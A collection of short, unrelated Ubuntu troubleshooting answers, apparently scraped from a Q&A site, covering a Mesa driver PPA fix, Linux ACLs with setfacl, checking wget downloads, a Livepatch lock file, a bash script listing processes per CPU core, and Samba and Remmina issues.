Crashing in certain specific situations from "intel_do_flush_lock_failed" in all source engine games

After quite a bit of digging around, I have actually answered my own question!

If anyone on a Dell Inspiron 5559, I managed to fix it by adding the repo

deb http://ppa.launchpad.net/ubuntu-x-swat/updates/ubuntu xenial main to
 apt,

and running sudo apt-get update && sudo apt-get install libgl1-mesa-dri

https://bugs.freedesktop.org/show_bug.cgi?id=102226

http://www.omgubuntu.co.uk/2017/11/install-mesa-17-2-ubuntu

Sorry to bother anyone who stumbled across this.


Because the Teensy uses something called Raw HID, it will not show up as a serial port. To be able to program it, their add-on to arduino needs to be installed:

https://www.pjrc.com/teensy/td_download.html


How can I add file create read write and delete for a specific user?

Never mind, I found the answer myself:
This is not possible with standard Unix-Permissions.

However, that does not mean it's not possible on Linux.
From http://www.yolinux.com/TUTORIALS/LinuxTutorialManagingGroups.html:

  Access Control Lists (ACLs) are applied to files and directories. ACL
  behavior is defined by IEEE's POSIX 1003.1e draft and supports
  control/access of signals, TCP/IP ports (below 1024), raw sockets, ...
  ACLs are an addition to the standard Unix file permissions (r,w,x,-)
  for User, Group, and Other for read, write, execute and deny
  permissions. ACLs give users and administrators flexibility and direct
  fine-grained control over who can read, write, and execute files.

And further:

  The Linux 2.6 kernel (beginning with Fedora Core 2) supports ACLs for
  EXT2, EXT3, XFS, JFS, and ReiserFS file systems.

And from http://www.linux-tutorial.info/modules.php?name=ManPage&sec=1&manpage=setfacl

 setfacl -m u:bind:rw /var/log/DESIRED_FILENAME_HERE

Also, modern Linux is using ext4.

So note this:
http://www.linuxquestions.org/questions/linux-general-1/how-to-enable-acl-support-on-ext4-915306/

  You need to remount the mount point -- in this specific case, the root
  / filesystem, not just the desired directory. In other words, try

sudo mount -o remount,acl /

  For future, change the line in /etc/fstab to

UUID=66eeee3e-b860-41b0-abf7-074c0e08420e / ext4 relatime,acl,errors=remount-ro 0 1


Ok, I now have an answer to this old question. No, individual screen scaling is unfortunately not possible in Ubuntu.


Download on ubuntu terminal proceeding or not

As you initiated your download from console, you know the command you executed for it. Assuming it is something starting with wget, you could check using

ps aux|grep wget|grep -v grep

This utilises the ps tool to show the list of running processes for all users in long form (see man ps for details), pipes the output to grep which filters it and leaves only lines containing "wget", and finally pipes it to grep again to filter itself. Now you should see your download process -- or, otherwise, know you've got to start it again.

On the other hand you should see the running process in the terminal window where you executed it -- unless, of course, you "backgrounded" it using the ampersand at the end (e.g. "wget [url] &"). In this case, you can go to the exact terminal window where you started it, and type fg to bring it back to foreground.

Third place to look for is where your downloaded files go to. If the download is still running, the files should change.


Coloured fonts no longer show in Terminal

By trial and error I must have 'stumbled upon' the solution for all has returned to technicolour normalcy!
Thanks to all who tried to help.


LivePatch fails with error "cannot apply patches: lock file already exists"

Jul 25 23:23:08 castaire-thonkpad canonical-livepatch[1023]: To override this warning, remove /var/snap/canonical-livepatch/common/locks/livepatch_Ubuntu_5_4_0_39_43_generic_69_69.1

After remove the livepatch_Ubuntu_5_4_0_39_43_generic_69_69.1 repeat sudo canonical-livepatch refresh, it worked for me.


Dell Inspiron 1525 laptop does not recognise Bluetooth

Problem Solved.

I have a dual boot with Windows 7. Checked in the forums with suggestion of reinstalling Bluetooth Drivers. Went to Broadcom's site and installed latest Bluetooth Drivers.

Restarted to Windows 7, for the drivers to take effect.

Checked in Ubuntu again and Voila! Bluetooth started working again.

The Windows driver might have included firmware upgrades/patches that fixed the issue.


How to list PIDs (procesees) for one CPU core only?

Use ps -eLF to list PIDs by CPU core number

The command ps -eLF will list PIDs by CPU core number. Then a script can filter the results to a specific core number.

Create a file called ~/bin/one-cpu-pids and mark it as executable using chmod a+x ~/bin/one-cpu-pids. Copy the following text into the file and save it:

#!/bin/bash

# NAME: one-cpu-pids
# PATH: /home/$USER/bin
# DESC: List pids running under one cpu core.
# CALL: one-cpu-pids CPUnumber
# DATE: Created Aug 27, 2017.
# NOTE: CPU number passed is ones based and converted to zero based.

if [[ $# -ne 1 ]]; then
    echo 'One argument required for CPU number, e.g. "1" or "8"'
    exit 1
fi

ZeroCPU=$1
let ZeroCPU--

ps -eLF | head -n 1 # Get heading
ps -eLF | awk -v a="$ZeroCPU" '$9 == a {print;}'

What the output looks like

Here is what the output looks like:

$ one-cpu-pids 8
UID        PID  PPID   LWP  C NLWP    SZ   RSS PSR STIME TTY          TIME CMD
root        41     2    41  0    1     0     0   7 Aug26 ?        00:00:00 [watchdog/7]
root        42     2    42  0    1     0     0   7 Aug26 ?        00:00:03 [migration/7]
root        43     2    43  0    1     0     0   7 Aug26 ?        00:00:02 [ksoftirqd/7]
root        45     2    45  0    1     0     0   7 Aug26 ?        00:00:00 [kworker/7:0H]
root        82     2    82  0    1     0     0   7 Aug26 ?        00:00:00 [kthrotld]
root        91     2    91  0    1     0     0   7 Aug26 ?        00:00:00 [bioset]
root       188     2   188  0    1     0     0   7 Aug26 ?        00:00:00 [scsi_tmf_2]
root       221     2   221  0    1     0     0   7 Aug26 ?        00:00:00 [kworker/7:1H]
root       836     2   836  0    1     0     0   7 Aug26 ?        00:00:00 [iwlwifi]
rick       969  2019   971  0    4 167699 28180  7 Aug26 ?        00:00:00 /usr/lib/gnome-terminal/gnome-terminal-server
root      1087     1  1087  0    3 84400  1316   7 Aug26 ?        00:00:00 /usr/sbin/ModemManager
root      1219  1164  1219  0    1 17706    28   7 Aug26 ?        00:00:00 /usr/sbin/CRON -f
whoopsie  1447     1  1500  0    3 111935  468   7 Aug26 ?        00:00:00 /usr/bin/whoopsie -f
rick      1550  2019  1552  0    5 126175 4168   7 Aug26 ?        00:00:00 /usr/lib/gvfs/gvfsd-mtp --spawner :1.4 /org/gtk/gvfs/exec_spaw/6
rick      2008     1  2008  0    1 11312  3316   7 Aug26 ?        00:00:00 /lib/systemd/systemd --user
root      2213     2  2213  0    1     0     0   7 15:01 ?        00:00:00 [kworker/7:0]
rick      2231  2019  2277  0    4 106967 1308   7 Aug26 ?        00:00:00 /usr/lib/ibus/ibus-x11 --kill-daemon
rick      2383  2179  2384  0    3 47098   352   7 Aug26 ?        00:00:00 /usr/lib/ibus/ibus-engine-simple
rick      2401  2019  7819  0    6 300457 12584  7 Aug26 ?        00:00:00 /usr/lib/unity-settings-daemon/unity-settings-daemon
rick      2457  2019  2457  0    4 165937 4704   7 Aug26 ?        00:00:00 /usr/lib/x86_64-linux-gnu/indicator-sound/indicator-sound-service
rick      2485  2019  2485  0    4 314455  256   7 Aug26 ?        00:00:00 /usr/lib/evolution/evolution-source-registry
rick      2485  2019  2493  0    4 314455  256   7 Aug26 ?        00:00:00 /usr/lib/evolution/evolution-source-registry
rick      2594  2019  2597  0    3 89830  8700   7 Aug26 ?        00:00:00 /usr/lib/gvfs/gvfs-udisks2-volume-monitor
root      2598     1  2604  0    5 108271 6300   7 Aug26 ?        00:00:00 /usr/lib/udisks2/udisksd --no-debug
root      2643     1  2648  0    7 157184 7748   7 Aug26 ?        00:00:00 /usr/lib/x86_64-linux-gnu/fwupd/fwupd
rick      2696  2571  2703  0    7 204018  108   7 Aug26 ?        00:00:00 /usr/lib/evolution/evolution-calendar-factory-subprocess --factory contacts --bus-name org.gnome.evolution.dataserver.Subprocess.Backend.Calendarx2571x2 --own-path /org/gnome/evolution/dataserver/Subprocess/Backend/Calendar/2571/2
rick      2713  2571  2718  0    5 216464  376   7 Aug26 ?        00:00:00 /usr/lib/evolution/evolution-calendar-factory-subprocess --factory local --bus-name org.gnome.evolution.dataserver.Subprocess.Backend.Calendarx2571x3 --own-path /org/gnome/evolution/dataserver/Subprocess/Backend/Calendar/2571/3
rick      2930  2019  2933  0    4 106898 1012   7 Aug26 ?        00:00:00 /usr/lib/telepathy/mission-control-5
rick      2967  2019  2984  0   11 137962 5212   7 Aug26 ?        00:00:00 zeitgeist-datahub
rick      2967  2019  2987  0   11 137962 5212   7 Aug26 ?        00:00:00 zeitgeist-datahub
rick      3056 15524  3057  0   14 296507 208432 7 14:45 ?        00:00:00 /opt/google/chrome/chrome --type=renderer --enable-smooth-scrolling --field-trial-handle=14075765731346784657,198534808813688123,131072 --service-pipe-token=9469E58F676BDEF1550E34B4D700CB57 --lang=en-GB --enable-crash-reporter=b0f732a8-ad2f-4a2e-b904-4ab12fecf64e, --enable-offline-auto-reload --enable-offline-auto-reload-visible-only --blink-settings=disallowFetchForDocWrittenScriptsInMainFrame=false,disallowFetchForDocWrittenScriptsInMainFrameOnSlowConnections=true --enable-pinch --num-raster-threads=4 --enable-main-frame-before-activation --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553 --disable-accelerated-video-decode --service-request-channel-token=9469E58F676BDEF1550E34B4D700CB57 --renderer-client-id=66 --shared-files=v8_natives_data:100,v8_snapshot_data:101
rick      3056 15524  3064  0   14 296507 208432 7 14:45 ?        00:00:00 /opt/google/chrome/chrome --type=renderer --enable-smooth-scrolling --field-trial-handle=14075765731346784657,198534808813688123,131072 --service-pipe-token=9469E58F676BDEF1550E34B4D700CB57 --lang=en-GB --enable-crash-reporter=b0f732a8-ad2f-4a2e-b904-4ab12fecf64e, --enable-offline-auto-reload --enable-offline-auto-reload-visible-only --blink-settings=disallowFetchForDocWrittenScriptsInMainFrame=false,disallowFetchForDocWrittenScriptsInMainFrameOnSlowConnections=true --enable-pinch --num-raster-threads=4 --enable-main-frame-before-activation --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553 --disable-accelerated-video-decode --service-request-channel-token=9469E58F676BDEF1550E34B4D700CB57 --renderer-client-id=66 --shared-files=v8_natives_data:100,v8_snapshot_data:101
rick      3437  2019  3437  0    4 106685 3916   7 Aug26 ?        00:00:00 /usr/lib/gvfs/gvfsd-network --spawner :1.4 /org/gtk/gvfs/exec_spaw/3
root     15170     2 15170  0    1     0     0   7 16:45 ?        00:00:00 [kworker/7:2]
rick     15441  2019 15527  0   42 347528 234428 7 Aug26 ?        00:00:00 /opt/google/chrome/chrome
rick     15441  2019 15532  0   42 347528 234428 7 Aug26 ?        00:00:00 /opt/google/chrome/chrome
rick     15441  2019 15543  0   42 347528 234428 7 Aug26 ?        00:00:00 /opt/google/chrome/chrome
rick     15441  2019 15553  0   42 347528 234428 7 Aug26 ?        00:00:00 /opt/google/chrome/chrome
rick     15441  2019 21397 52   42 347528 234428 7 15:44 ?        01:20:21 /opt/google/chrome/chrome
rick     15746 15524 21853  0   13 236965 74032  7 Aug26 ?        00:00:00 /opt/google/chrome/chrome --type=renderer --enable-smooth-scrolling --field-trial-handle=14075765731346784657,198534808813688123,131072 --service-pipe-token=B6F0CC243787B18BB0EA42A02C364626 --lang=en-GB --enable-crash-reporter=b0f732a8-ad2f-4a2e-b904-4ab12fecf64e, --extension-process --enable-offline-auto-reload --enable-offline-auto-reload-visible-only --blink-settings=disallowFetchForDocWrittenScriptsInMainFrame=false,disallowFetchForDocWrittenScriptsInMainFrameOnSlowConnections=true --enable-pinch --num-raster-threads=4 --enable-main-frame-before-activation --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553 --disable-accelerated-video-decode --service-request-channel-token=B6F0CC243787B18BB0EA42A02C364626 --renderer-client-id=5 --shared-files=v8_natives_data:100,v8_snapshot_data:101
rick     17004 15524 17010  0   14 254605 146636 7 Aug26 ?        00:00:03 /opt/google/chrome/chrome --type=renderer --enable-smooth-scrolling --field-trial-handle=14075765731346784657,198534808813688123,131072 --service-pipe-token=B04C26F870675DF1A8643418BED74ECD --lang=en-GB --enable-crash-reporter=b0f732a8-ad2f-4a2e-b904-4ab12fecf64e, --enable-offline-auto-reload --enable-offline-auto-reload-visible-only --blink-settings=disallowFetchForDocWrittenScriptsInMainFrame=false,disallowFetchForDocWrittenScriptsInMainFrameOnSlowConnections=true --enable-pinch --num-raster-threads=4 --enable-main-frame-before-activation --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553 --disable-accelerated-video-decode --service-request-channel-token=B04C26F870675DF1A8643418BED74ECD --renderer-client-id=8 --shared-files=v8_natives_data:100,v8_snapshot_data:101

We can see it is probably chrome causing the problem.


There isn't any adobereader-enu 9.5.5 package but this fixed my problem:

  sudo dpkg --purge adobereader-enu


Ubuntu 16.04: Inability to log in after small modification in .profile file in user home

There will be someone who will eventually find a solution but if you are trying so hard avoiding to loose your data, I suggest something in another way...

You can make a back up of your profile and save it in a disk or memory stick and then reinstall and copy the files you want to keep.

I leave you a link where you can see how to make a back up...

Sometimes... you should start again... to make a clear path... Hope it helps...


SAMBA: Why do symbolic links work on Windows but not cifs mount on Ubuntu?

Your symbolic link points to a folder outside of the shared directory. Therefore it is not accessible in the mounted file system on Ubuntu.


I found that it was  an issue with FreeRDP.
Connection -> Edit -> Advanced:

Relax Order Checks
Glyph Cache

credits: https://gitlab.com/Remmina/Remmina/-/issues/2163